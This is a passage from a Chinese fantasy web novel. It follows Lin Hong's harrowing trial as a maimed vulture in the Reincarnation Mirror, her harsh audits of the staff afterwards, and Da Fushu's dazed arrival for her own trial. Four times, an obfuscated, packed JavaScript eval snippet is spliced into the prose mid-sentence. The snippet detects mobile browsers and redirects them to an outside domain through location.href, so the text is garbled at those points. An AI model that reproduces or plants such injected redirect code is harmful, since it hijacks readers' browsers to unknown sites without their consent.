林鸿看见满殿病殃殃的鸟兽们颇为惊讶，得知是它们吃坏肚子了，更是疑惑。 动物们的求生本领非常强，按理不该出现这种情况啊？ 林鸿推测可能有蹊跷，建议鸣桐跟慎刑殿备个案。 鸣桐叹气，说自己会调查的。 鸣桐：“掌舵，你今天来应该不是串门吧？” 林鸿席地而坐，抱过一只软脚狮子帮忙揉肚子，叹息：“昨天发生了一些奇怪的事。给病人治病时，法力居然失灵了。明明灵台内的法力流动很正常，而且其他时候施法也很顺利……所以我怀疑自己是不是得什么怪病了，想来和你交流交流，看看你有没有什么想法。” 牛执司他们动作这么快啊…… “……我只是个兽医，关于人……”鸣桐心虚地低头。 “不必谦虚。”林鸿摆摆手，“医学是种经验之学，你给灼春看了那么久的病，医人医兽并行不悖。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044029|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林鸿顿了顿，说：“其实我有一种推测，兴许是寂心期到了，可是……若真是寂心期，这次的情况实在匪夷所思，与以往的经验有诡异的差别。” 鸣桐：不知是牛执司他们行动太拙劣，还是掌舵太敏锐……她要不要插手呢……站哪边？唔…… “其实……可以当作寂心期到了来处理……若为真，进轮回镜历劫本就应当；若为假……不过是提前进轮回镜历练，于己身无损。”鸣桐斟酌着用词。 林鸿认可了她的建议，但是没有立即行动。 林鸿：“道理我都懂，但是这心里……忍不住有些想法。” “怎、怎么了？” 鸣桐内心惶惶，揉着熊肚子的手不自觉用力，惹得红熊嗯嗯出声，才放柔动作安抚小熊。 林鸿：“被灼春司劫的仙者，有一个算一个，都表示不满意——连战神那样随和的人都忍不住殴打她，我……”很担心自己也会做出同样不合适的行为。 鸣桐内心逐渐平和，原来掌舵心里也是知道的啊…… 鸣桐淡然一笑：“掌舵不是说，容易暴走是因为历练太少、内心不够强大？” 被这么一提醒，林鸿也安定下来。 “对，只要意志坚定，就不会迷失自我。”林鸿看着她笑了笑，“就像你和吉吾，听说你们也进过轮回镜，倒也没惹出事来不是吗？” “……” 鸣桐想，她惹了，只不过没外扬；吉吾那儿……以她的了解，大抵憋着坏呢。 “罢，我这就去找灼春约约时间。” 与鸣桐聊了一会儿，林鸿心里踏实不少，放下狮子起身。 被按摩过，狮子明显精神不少，起码能走动而不是软了脚趴着。狮子摇摇晃晃地挤过一众同伴，贴着鸣桐打呼睡觉。 鸣桐的良心突然有些刺痛。 “掌舵，要不我帮你司劫吧？”她提议道。 林鸿意外她会这么说，温和地拒绝了她：“我本来也有这想法，但不合适。从前没有司劫就罢了，如今有了，自然各司其事各尽其职。况且——作为掌舵，我确实该考核考核司劫的工作。” 鸣桐张口欲言，林鸿却要走了。 “待会儿我会通知赵执司他们来这帮忙，也会和慎刑殿打好招呼——如果需要他们调查，你说一声就行。——生灵殿只有你一个还是太少了，下次招人，我会记得给你分两个。” 鸣桐：“……” 良心更痛了…… 林鸿往灼春家走时，偶遇了几个仙者，寒暄时便随口提起要去轮回镜渡劫。 谁知一石激起千层浪，那几个仙者一传十，十传百，她才走了几步，身边就乌央乌央簇拥着一大群人，都是在灼春手里历过劫的。 “掌舵您走好！等你出来咱们给你接风洗尘啊！回头咱们一哭方休！不哭不归！” “掌舵忍住啊！记得你给灼春下的文件，出来后千万不要打人哦！” “掌舵！你……” “掌舵！……” …… 林鸿：“……” 怎么？默认她必须吃苦头了？ 看来真是她这些年太低调，一把年纪了居然还被这么小瞧…… 林鸿暗下决心，要好好渡劫，绝不给别人看笑话！ ——不会闹笑话的吧？ 56.挑战高难 林鸿在诸位同僚众星捧月一般的围簇下到了灼春家门口。兴许是有心理阴影，到了门口，所有人不约而同地止住脚步，喊着“一路走好”“我们会等你回来的”之类的话，欢送她进门。 林鸿：“……” 她之前还想问是不是大家工作太忙，今日一看，都挺闲的。 林鸿不疾不徐地走着，屋子里的声音越来越清晰，似乎是谁在吵架？ “……你别乱动我灵盘！我好不容易做的你居然都给我毁了！……没有什么没有！我又没瞎！——你看看！都被你改成什么样了！……你还强词夺理！拜托我们这是历劫的灵盘！全是幸福结局还历什么劫啊！……呸！少来！也不知道是谁说大团圆不好看，悲剧结尾才够劲，剧情不够伤心的书看都不愿意看哦！……” 林鸿走得近了，才听见灼春激愤声音下的另一道正常音量的声音。 “……角色是角色，虚构的故事和真实的经历不能等同。作为外人旁观，剧情当然越揪心越好，但是作为同类，物伤其类，我希望大家都有个幸福的人生。” 林鸿听出来了，那是百捷的声音。 “都说了！寂心期历劫！‘历劫’！必须是‘劫’啊姑奶奶！” 林鸿正想敲门，灼春却先一步开了门，两人差点撞了。 看见林鸿，灼春吓得怔了怔，反应过来后立刻向其告状，说百捷影响她改进灵盘，影响她司劫的准备工作。 气着气着灼春又抱着林鸿的胳膊哭哭啼啼起来。 “老大！求你了！把她弄走吧！我实在受不了了！这日子没法过了！” 林鸿：“……” 百捷走过来，一本正经道：“你伤没好，我是奉命照顾你，走不了。” “你要是不照顾我我伤早好了！”灼春朝着百捷哭吼一句后，立马扑在林鸿身上撒泼，“老大你管不管管不管！我不管我要一个人待着！你听不听听不听！让她走让她走！！” 林鸿：“……” 林鸿：“咳……这段时间我要在轮回镜里渡劫，灼春需要专心——这样吧百捷，你先回去，等我渡劫出来，你再过来继续。” 百捷担心：“可是春的伤还在往出滋滋渗血咧，万一疼晕了咋整？” “疼死我也比你在这气死我好！” 灼春猛地掀起衣袖，露出鲜红的伤口 “好了好了别说气话……” 林鸿止住灼春，向百捷保证，如果灼春发现她自己情况不对会立马通知她，让百捷安心离开。 百捷走后，林鸿才和余怒未消的灼春说起她此行目的。 “……不过我刚才隐约听见你们在说……灵盘坏了？”林鸿问，“是不是没法司劫了？需要等你把它修好？” 说起这个灼春就来气。 “可不嘛！百捷莫名其妙就把我灵盘里的内容全改了！哪儿还是历劫模板！都快成幸福人生刮刮乐了！我呕心沥血构思的劫数、创作的灵盘全毁了！” 灼春又骂了百捷一通，出完气心情才好些。 灼春吐了口气，尽量保持平静：“虽然我的心血毁了，但是司劫工作还是可以进行的，就是得从头开始，工作量没得减少了。” 灼春邀请她进屋，穿过满地七零八落的灵盘和杂物，坐到书案边，拿纸笔记录林鸿渡劫的要求。 林鸿好奇：“其他仙者都是怎么要求的？” 灼春想了想：“因人而异嘛！大多数，不是想最大程度提升实力，就是想拓宽寂心期间隔，还有就是两者都要的。极少数奇葩呢，就……算了不重要。——老大你说自己的要求嘛！” “什么都可以提？” 灼春点头应声：“昂，你敢提，我就敢给你造！就是一条，别秋后算账……” 林鸿心想灼春是真被仙者们打怕了，接着便说出了自己的意向。 “我想……光是历劫太单一，我希望自己能以不同的视角体验人生百态世间疾苦。难度上，越难越好，若不小心陨落……”林鸿微微摇头，否认了自己这个说法，“还是请你把握分寸，不要令我永陷镜中。” “放心，我老有经验了，心里有数！” 临了林鸿又补充：“一个月后我要考核全会各部门，所以历劫时间务必控制在一个月内。” “行，妥妥的！” 打林鸿进轮回镜起，灼春家每天都被一大帮人围着，像乌鸦等待濒死之人咽气好啄食尸体一样眈眈虎视。 灼春偶尔出来歇歇每次都被一堆眼睛吓得一怔，后来被盯烦了，抄起扫帚就赶人。 但是那些人大概是稻田里的麻雀转世，一挥扫帚就散开，放下扫帚又呼啦啦地举起来。 灼春恨不得这些人真是麻雀一类的生物，这样她一张大网扑过去全捉了烤着吃！ 灼春：“我说你们没事干啊天天搁我这蹲守？我偷你家钱了！？去去去！都走！再不走我就告诉百捷！有你们好果子吃！” 可惜围着的这群人都是组团来的，不惧威胁，甚至顶嘴，说街道又不是她家的，凭什么不让他们待。 “……行，你们有种！” 后来灼春和鸣桐吐槽，才知道这些人聚在一起的目的——等林鸿历劫结束。 灼春惊叹林鸿的人气：“没想到老大人缘这么好？我还以为当领导的人和咱们当属下的都隔着好几层呢！” 鸣桐笑笑，说等林鸿出来的人可不是因为敬仰她，而是想看林鸿自己打自己的脸。 灼春不明白，鸣桐就跟她解释——每次她司劫和人闹矛盾，掌舵都拉偏架帮着她，所以大家气不过，就想看看掌舵从轮回镜出来，能不能克制住自己不动手。 灼春愤起：“笑话！老大哪里偏心我了！？他们把我打那么惨受什么罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047944|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了！？要不咱们换换，我打他们个半身不遂但挨老大几句骂！那我可愿意挨骂了！” “嗯嗯……反正现在就是这么个情况，哪怕你叫百捷来，双拳难敌四手，一个仙者被打跑，三四个仙者顶上来。在掌舵出来前，你家都会是景点状态了。——要不你努努力，让掌舵快点历完劫？” “我也想啊！可是老大要求高，复杂程度和你的历劫差不多，还没了灵盘的辅助……一个月能完成都谢天谢地了，还提前……不如把我杀了献祭，看会不会发生奇迹吧！”灼春无奈，“唉，老大不在，都没个有震慑力的人管事……一群脱了缰的仙者比峨眉山的猴子还麻烦……” 鸣桐：“掌舵临走前让理事堂的英理事长暂代管理，要不你找她管管呢？” 灼春不认为这样可行。 那个老太太脾气太好，看什么都觉得存在即合理，管不管得住另说，人家还不一定觉得有管的必要。 鸣桐又说：“不然你找吉吾呢？” 嚯，这倒是个主意。只要钱到位，就是掌舵之位，吉吾说不定都能抢过来让你坐一坐。 ——问题是，她钱到不了位。 鸣桐：“或者你和大家商量商量吧，都不是不讲理的人。” 灼春嗤之以鼻：“我跟他们有什么道理讲？说得好像我没跟他们讲过道理一样……他们鄙视我，我还瞧不上他们咧！” “别这么说，其实你们还是有的聊的。”鸣桐跟她分析，“你替掌舵司劫，等掌舵历劫结束，根据经验很有可能殴打你，而掌舵打你，都没人敢拉架；仙者们等在你家门口，其实只是想看看掌舵会不会打你，作法自毙——而这可能是好事，围观者多了，掌舵兴许就不愿破坏法令食言而肥，你也能少吃点苦头。” 一语惊醒梦中人，灼春寻思鸣桐说得不错，便斟酌措辞，和家门口那些人打商量——不必日日守候，等林鸿快出来，她会主动通知大家。 原以为还要费些口舌，谁知灼春这么一说，仙者们纷纷心满意足地离开。 据说，林鸿出来之后就要开始各部门的工作考核，虽然现在林鸿不在，但是这一个月大家事儿并不少，光是准备以供考核的数据与档案就累得大伙儿头秃——到灼春家蹲守完全就是他们挤压工作拨冗过来“轮值班”的。 灼春：“……” 真谢谢你们还把这事儿当作比工作还重要的正经事来做。 有了协议后，大家的日子都好过多了。 日月跳丸，很快就到了林鸿出关的日子。 灼春按照约定，放出消息。顷刻之间，几乎相睦会所有仙者都涌在灼春家附近，甚至围墙上都摞了好几层冒绿光的眼睛。 灼春看着这些视线，一边觉得瘆人，一边又觉得安心——这么多人这么多双眼睛这么沉重的期待和压力，老大再怎么样也不会失去理智地打她……吧？ 57.以眼还眼 一阵风铃脆响，林鸿走出轮回镜，眼中刚冒出杀气，灼春就闻风而动，哒哒哒地跑到大门处，贴着墙根，躲在铺天盖地的炯炯目光之下。 林鸿：“……” 她不是瞎子，看得到。 她不是傻子，想得通。 “工作时间不在岗，想造反？——半个时辰后，所有部门将受考核的资料以及总结报告都交到主殿，但凡有一样不合格，年底绩效奖通通取消。” 众人不约而同地倒吸一口冷气，尽管没有出声，但都在想，掌舵这是没拿灼春撒成气，所以拿他们泄愤了。 林鸿横眉环视四周：“资料都整好了？” 轻烟数缕，挨山塞海的人群瞬间消失。 灼春：“……” 她咽了口口水瑟瑟发抖。 完蛋……老大该不是为了打她而清场吧？ 灼春看着林鸿严肃着神情一步一步向她走近，心跳越来越快，快到后来都听不出间隔—— “嗡——” “……干得漂亮。” 林鸿越过灼春，留下一句似是夸赞的话。 脑鸣中的灼春：“……？” 她没听错吧？ 老大夸她了？ 天哪！这可是第一次有人出来不仅没打她还夸她的！ 老大老大！不愧是相睦会的老大！她要当老大一辈子的狗！！ “……狗。” 林鸿嘱托从生灵殿回来的赵执司记得收齐各部门的档案后，坐在自己的密闭药房内默然许久，才终于从牙缝挤出一个字。 那是她对灼春由内而外、发自肺腑的评价。 亲身经历一通，她可算知道为什么灼春不招人待见了。 该！ 那些劫数，那些经历，是正常人能想出来的？得有多惨才能遭遇那些！一般人活上十辈子都碰不上百分之一的事件吧！ 林鸿扶额。 气得头疼，活了一世，仿佛死了三百次。 首先……其次……再次……最后…… 她是说过想以不同视角体验世间百态，谁知道……灼春居然安排她当一只畜牲！ 不是修辞，是白描。 真的就是一只畜牲——秃鹫，而且还是独眼断腿翅膀骨折的残疾鸟！ 尽管没让她远离红尘在野外厮杀求生，而是在年幼之时就被一个好心的小姑娘救下留作宠物，但后来的经历告诉她，说不定还不如在野外挣扎求生来得幸福——她是真没想到，所谓世间百态人生起伏，居然都是那个好心肠的小姑娘的！而她，只是作为宠物受牵连与旁观。 作为畜牲时，脑容量不够，所以即使经历了再多苦难，只要有吃有喝饿不死就无所谓。出了轮回镜，属于人的智商回来，之前所见所闻产生的情绪，成百上千地翻涌出现——譬如目睹主人被亲人背叛、被朋友出卖、被信任之人辜负、被世人一次又一次地伤害…… 在此种黑暗中，小主人仍能坚守的良善之心更显难能可贵。尽管小主人自己已经顾三不顾四，穷途潦倒，依然怀揣希望，尽己所能帮助身边自己能帮的生命，无论贵贱无论人畜。 因此，林鸿更加不能原谅自己。 她的小主人被逼入深山老林逃亡本就艰难，在天寒地冻的日子里，为了救被陷阱困住的自己还失血过多昏死过去。可是，作为畜牲的她，不但没有与小主人互相扶持着熬过去，还因为饥饿，啄食了尚未死去的小主人的身体。当小主人在疼痛中清醒时，仍不管不顾地吞吃，直到小主人清醒且痛苦地咽下最后一口气，直到小主人只剩下一副骷髅…… 思及此，林鸿感到自己腹中恶心难忍，不由得干呕。 深山里，一旦落雪就不易停。 她亲眼看着红白混杂的骨架逐渐被雪覆盖，大地一片白茫茫，什么痕迹都没留下。此后再也没人知道这里埋着一个人，一个受尽苦难却怀揣希望在这世间挣扎求生的人，一个心怀慈悲却最终被自己的慈悲毙伤的人…… 畜牲啊…… 畜生…… 虽然她活着离开了轮回镜，但林鸿想，如果她在镜中不是一只愚蠢的秃鹫，而是一个人，哪怕只是一只不那么蠢笨的动物，她都活不下来。 现在只要她闭上眼，就会想起自己无情吞食小主人血肉时，小主人眼神里的恐惧、悲伤、不甘、迷茫、痛苦、无望……最终，空无一物。 林鸿回来后，工作上突然变得十分严格，执司去申请些什么或作报告，百分百要挨顿呲儿，导致相睦会诸位执司的日子都不大好过。 仙者们难得一致地保持沉默，不做任何评价，可仙者以外的执司就忍不住叫苦连天了。 于是，需要和林鸿对接的工作，凡人执司们都推给部门中的仙者去做。有些部门仙者多，轮流受苦倒也勉强能撑过去，但有些部门，仙者就两三个，能担责与掌舵交流的人数又得砍半。 吉吾就是金钱殿那个唯一的倒霉蛋。 金钱殿从来不执着于争夺“仙者”，只看重个人的能力，这就导致大多数通过天道试炼而清心寡欲的仙者无法胜任金钱殿的工作——也不是没有，怎么着金钱殿也累积了几百年的家底，凑几个仙者还是凑得出来，只是不久前的灾潮祸害一来，啪一下，就只剩吉吾一棵独苗苗了。 吉吾不是不知道金钱殿只有自己一个仙者，但碰上事儿了，她才意识到只有自己是仙者意味着什么。 ——“司库，今年的财政报告需要掌舵签字，麻烦了！” ——“司库，这是今年的工作方案与预算，略有增长所以劳您跟掌舵掰扯了嘿嘿～” ——“司库，这是亏损的项目，需要掌舵过目……” 吉吾拎着厚厚一沓文书，背负着下属的殷殷期待孤身闯魔窟——啊不，主殿。 林鸿站在窗边，一言不发地望着窗外，而大殿中央全是各部门的倒霉蛋仙者，他们或坐或立，唯一的共同点就是欲哭无泪地修改着手里的文件内容。 好一场愁云惨雾。 有相熟的人瞥见吉吾，过来劝她再看看文件内容，别出纰漏，因为现在的林鸿可会挑刺儿了，稍有不慎便是万劫不复。 “欲加之罪何患无辞。”吉吾仰头叹息，“工作如治病，对症下药才能药到病除。” “都知道病根，但是……”那仙者斜了一眼远处的林鸿，“诶，大家都这么过来的，时间是唯一的良药。” “不见得哩。” 吉吾清了清喉咙，走到林鸿身侧，故意重重叹气。 “掌舵，心病怎么医啊……” 林鸿侧首：“谁说我有心病？” “我说我有心病。”吉吾神色戚戚，捂住胸口，“被灼春司过劫吧，我这心里一直回想着那段经历，一想起来就难受，像被人攥住心脏，吃也吃不好睡也睡不好，干什么都不踏实。” 林鸿眸光一闪：“我见你与平时没什么两样呢。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051481|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不是化悲愤为力量，靠工作麻痹自己么。” 吉吾叹气：“虽然理智上知道制造劫数是灼春的职责所在，但情感上依然不由得埋怨她，为什么这么狠心不近人情……可是这样的抱怨又显得自己太不专业，分不清虚实，实在不应该……” 林鸿微不可查的叹息：“人之常情，倒也不必求全责备。” “不，我确实有太多不应该的想法了！” “没关系，可以有。” “不！不可以有！” “可以……” “我总觉得风水轮流转，灼春你小子总有一天也会到寂心期，到那时所有吃过亏的仙者联合起来有你小子好果子吃的！等你落到我手里，管你死啊活的，所有的痛苦全给你加上！让你从小到大喝水都能呛个半死！……” 吉吾比手画脚、感慨激昂地说出自己所有“不应该”“不专业”的想法后，话锋一转，立刻神色如常，仿佛刚刚情态疯癫的人不是自己一样。 吉吾神色自若：“——总之，拥有这些想法的我，实在愧为仙者。” 林鸿：“……” 嗯……她在思考。 此时，殿中一位改了八次方案内容的仙者战战兢兢地走过来接受掌舵的第九次审判。 “掌、掌舵请过目……”她指尖发白，将第九稿递给林鸿。 林鸿接过，神情严肃地从头审阅。 林鸿：“嗯，可以了，先放我这，你回去吧。” “！！” 该名仙者压下了想要当场蹦跶的激动情绪，稳重告辞，走出主殿——接着一道压抑而清晰的欢呼在门口响起。 “哎呀差点忘了正事！——掌舵，这是我们金钱殿的资料，您请过目！”吉吾一拍脑袋，取出自己带来的文件交给林鸿。 “嗯，挺好。先放我这，你忙你的去吧。” 殿中诸人见连续两人过关，各自并不存在的合格探测器纷纷滴滴作响，赶紧七手八脚地整理修改中的资料，争先恐后地找林鸿审阅。 “掌舵！我改好了您帮我看看！” “掌舵掌舵！我改了十二版了！您先替我看看呗！” “我十三版！先看我的！” “掌舵！掌舵！我是第一个找您的，先来后到也该是我啊！” …… 一叠叠的资料都捅到林鸿脸上了，这能忍？ 林鸿怒：“成何体统！回去排队！再这么没秩序就通通回去明天再来！” 慎刑殿中，执司们步履匆匆，你出我进，大殿的门槛几乎都要被踏平，每位执司都神情严肃地向夏至凛禀报些什么，报完后又匆匆离去。 “坏消息，边城六个县的失踪人口已突破二十人……” “坏消息，中部十二个县也开始陆续有人失踪，数字逐日增加……” “坏消息，派去调查的部分执司也失踪了……” “坏消息，嫌疑犯温冬在牢里自裁，虽然被救回来但是陷入昏迷……” “坏消息……” “啪！” 夏至凛黑着脸拍案而起，很想质问一句除了“坏消息”他们还会说什么——但她深吸一口气，控制住了自己的情绪。 “……压不住了。陆珈，到斗武殿，请战神同来商议策略。我去多味楼找大扶疏……” “掌刑！都这时候了别惦记你的烧鸡了！”陆珈一边喊一边往外跑，跑得贼快。 夏至凛：“……” 58.那个扶疏 灼春修完被百捷弄乱的灵盘后，突然收到林鸿用信纸鹤术传的消息，让她去一趟主殿，看虚像神情还挺严肃的。 主殿？看来是公事了。 于是灼春打算洗漱一下就出门，结果刚洗漱好，程冰津和麻惠良就来家里找她了。 程冰津呈上假条：“灼春姐，预约演玩剧的人都玩好了，接下来我们想请两天假。” 灼春奇怪地问：“你们俩都？可以是可以……为了什么呢？” 程冰津笑：“我们想去龟鉴岛，挑战一下三道天劫！” 灼春惊讶看向她身后的麻惠良：“小麻你也？” 麻惠良不好意思：“嗯……” 灼春抚掌大笑：“好事儿！难得你们有志气，我肯定大力支持！哎，两天假哪够！来回一趟就花一天半了！听我的，放你们五天带薪假！路上慢慢的，不急！” 灼春随手就把两张假条上的天数改了。 接着她又关心道：“你们做好进岛准备了吗？船、水和食物、武器、符咒……哦！还有保命的东西！” 灼春掏出两只纸鹤给她们。 “这是夏侯振川发明改进的信纸鹤术的媒介，据说很可靠，就算你们被大鱼吞进肚子，被灾怪困在结界里，只要用它传信也能传达到——回头你们遇到生死危机就给我传信，我立马找人救你们去！” 程冰津和麻惠良都掏出了同款纸鹤。 程冰津挂着笑：“大家都说，这是闯龟鉴岛的修仙者必备的物品，所以我们也买了。” “有备无患，都带着呗！”灼春把东西硬塞给她们，“挺好，看来你们准备工夫做得不错，那我就不多唠叨了，祝你们好运！” 程冰津她们再次感谢灼春的关心，笑着告辞。 “——哦对了！就算没能闯进岛也不要紧！没几个一次就成功的！好事多磨！不要太死心眼儿！进不去就算了，龟鉴岛附近也有几个漂亮的小岛，去那里搭个帐篷钓钓鱼，就当旅游休息了！” 程冰津二人走后，灼春仍有些激动。 没想到她家的两个小朋友这么有志向还这么积极！尽管八成这次是不成的……嗐！失败乃成功之母！就是永远不成功，有这个心气干什么不成功呢？ 灼春打算等程冰津她们回来，请她们吃多味楼的限量烧鸡，以兹鼓励。 唔……这次太突然了，下次给她们写一份注意事项吧。 然后灼春忽然想到，小程和小麻都请假了……那情理所不是没人了？ 哎呀，那她得回去坐班，否则就得挂关门的牌子，关门太久会影响年终考核的！不过小程她们明天才走，今天她还可以放松一下。 灼春煮了一锅茶，放在桌面晾凉，接着躺在摇椅里眯眼小憩。椅子吱呀吱呀地叫，是她的睡前摇篮曲。 就在她的意识逐渐渺远，一道强光透过眼皮乍现，眼前的黑色突然浅了几个度。 “……” 灼春很想无视，但是这光线太影响睡眠了。 她不情不愿地睁眼，看见手边小小的传信法阵。 自从吉吾推广夏侯振川的信纸鹤术后，这种老式的传信阵就很少见了——扎心了，她真没想到区区一个新的传信法术居然真能打开市场一骑绝尘！听说金钱殿光是卖纸鹤就赚疯了！盛况空前，《镜中》那几本书加起来都难以望其项背！ ——接收后，法阵在半空凝成几行小字，大意是自己最近法力失灵，希望能尽快入轮回镜渡劫，渡劫上没有任何要求，落款扶疏。 噢——是多味楼老板吧？ 好吧，活来了，不能歇了。 不过既然大扶疏没有要求，那就随便拿块灵盘用上吧！ 但是灼春调试好轮回镜后，左等右等大扶疏就是不来，等得她都不耐烦了。 该不是大扶疏为了给小扶疏出气，故意逗她玩呢吧？ 不行！说是历劫就是历劫！别拿工作开玩笑！ 山不就我我就山！灼春决定亲自去一趟多味楼，薅也要把大扶疏薅进轮回镜！绝对不能开烽火戏诸侯的口子！ 灼春到了多味楼，却被迎客的堂倌笑脸拦下，说是为了安全，楼里在控制客流量，今天的人数达标了，让她下次请早。 “……” 好哇，为了戏弄她，连生意都不做了？ 灼春眉毛一横：“我找你们老板有事，不是来吃饭的！” “找厨神……”堂倌一愣，抱歉地笑，“真不好意思，老板今天下班了，要不您留个名，明天老板上班了我再跟她说？” 这下灼春更确定大扶疏在联合自己人耍自己了。 老虎不发威，当她是病猫啊！ 她把门中央一站，堵了门口。客人们进进不去，出出不来，门口一圈当即堆满了人。 堂倌一边安抚宾客，一边嚷着喊掌柜。 被喊的掌柜匆匆赶来，连忙劝说灼春到一边去。 掌柜无奈：“这位客官，咱都是体面人，这样堵在门口不合适吧？” 灼春叉腰：“谁让你们敷衍我的！告诉你，今天见不到你们老板，我就杵着不走了！有本事你打死我！” 掌柜：“……” 这不为难人么？ 他们普通人怎么打得死仙者呢？ 掌柜叹气：“您有什么事能和我说说么？说不定不用找我们老板，我就能帮您解决了呢？” “这事儿你管不了！”灼春展示出自己收到的那封预约信，“你们老板向我预约了历劫却迟迟不来——难道你能替？” 掌柜仔细看了落款，虽然简化了，但看着确实是大扶疏的手笔。 这么说，这是她们仙者之间的事了？ 掌柜不修仙，也不关注仙者那些事，所以也判断不好来者的情况，犹豫是否带她去见老板——此时，被堵在里里外外的客人们都等得不耐烦闹将起来，容不得掌柜细细掂量了。 “好好好……您只要别挡在这影响我们做生意，您要见谁就见谁……”掌柜无奈，只能先顺着灼春的意思来。 灼春叉腰：“记住你的话！带我去见大扶疏！” 掌柜汗涔涔：“是是是……” 以防掌柜的闹幺蛾子，灼春话赶话地催她带自己找大扶疏。掌柜交代手下人照顾好店里，便领着灼春往内室走。 “……客官，老板最近状态不佳，要不您改日再来？” 灼春当即“呸”了回去：“带路就是！你别想把我忽悠走！” “唉……那待会就请您多担待了，老板她……”掌柜欲言又止，犹豫片刻后还是决定说出来，“自从老板上次去看望了狱中的朋友，回来就有些痴钝，整日恍恍惚惚的，干什么都心不在焉，记性也变得特别不好，炒菜的时候要么忘了放糖，要么忘了加蒜，要么忘了改火，唉……” 朋友？入狱的朋友？ 灼春脑内立即跳出“小扶疏”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15055925|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字。 掌柜语气忧虑：“多味楼的名气十成十都是靠着老板打出来的，老板出了事，生意还怎么做……唉……不过后来伙计们去跟老板说了，总算说服老板打起精神——只是每天最多坚持下厨半日，剩下半日就在院子里养精神……” 灼春把她的话听进去了，同时开始自我怀疑，难道大扶疏真是因为精神不济才放自己鸽子？ 没多久，掌柜就把她带到大扶疏所在的露天小院——说是院子，更像菜地，各式各样的蔬菜一垄接着一垄，要不是中央有个无桌无座的小亭子意思意思，灼春真以为掌柜把她忽悠去农田里了。 大扶疏坐在那座仅可容纳一人的小亭子台阶上，科头跣足，双臂软趴趴地分别搭在一侧的膝盖上，如掌柜所说，她注视着土地的表情无念无想，仿佛灵魂被抽了一半。 掌柜率先出声轻声呼唤，唤了有五六声，大扶疏才悠悠抬头，盯着她们半晌突然往后一偏，似乎才将眼前的人看进脑子里。 掌柜耐着性子问：“大厨，这位是仙者，说您跟她预约了什么活动，你还记得吗？” 大扶疏一愣：“我……不记得……” 灼春等不及，立刻出示证据。 “……” 大扶疏保持同一姿势盯着画面许久，毫无反应。 灼春逐渐不耐。 辨认需要那么久吗？ 她与掌柜对视，后者叹气，上前晃晃大扶疏。 “大厨？大厨？” 大扶疏这才回神，一惊：“怎么了？出事了吗？” 灼春：“……” 掌柜又解释了一遍，这次按着大扶疏辨认，令她没机会走神。 看见确实是自己的字迹，大扶疏默了默，应下了这桩事。 大扶疏：“……虽然我不知道自己什么时候发过这样的信，但是……好吧……” “行！那跟我走吧！” 灼春舒了口气，一挥臂招呼对方跟随自己。 大扶疏起身要跟着走，掌柜却慌忙拦下她们。 “这位仙者，以我家掌柜现在的状态……合适走吗？不会有影响吗？” 大扶疏猛地反应过来：“对哦！——司劫，我感觉自己最近确实无心无力，进轮回镜渡劫不要紧吗？” “……” 灼春现在意识到了问题，回头上下打量她。 灼春：“应该不要紧吧？反正你对历劫没要求，就不需要你做什么，你和现在这样发呆磨时间就行。” 她这么说了，掌柜才放心让大扶疏跟着她走。 临走时灼春投向掌柜一个同情的目光。 有这样的老板，生意能开张半日已经很奇迹了，不知道挣的钱够不够活下去哦…… 灼春将人带回家，开始历劫之前，她看着大扶疏呆愣愣的样子，挠挠头。 灼春撇嘴：“……其实你没必要这样，小扶疏犯了错就该惩罚，不关你的事。而且他又不是一辈子关在里面，服完刑就出来了。” “……”大扶疏一激灵，“……你说什么？” “我说，你别担心小扶疏，服完刑就出来了，没必要影响自己。” “……” 灼春：“？” 大扶疏目不转睛地盯着她，等她说完过了片刻，又是熟悉的一颤，问：“不好意思，能再说一遍吗？” 灼春：“……没事，轮回镜准备好了，进去吧。” 59.培养后任 等大扶疏进入轮回镜，历练开始，灼春才真正意识到事态的严重性。 大扶疏的精神状态很差，比她预想的还要差，差到几乎在轮回镜中开始体验人生之前就“胎死腹中”——这种死是灵魂的消散，而非历劫的身灭。 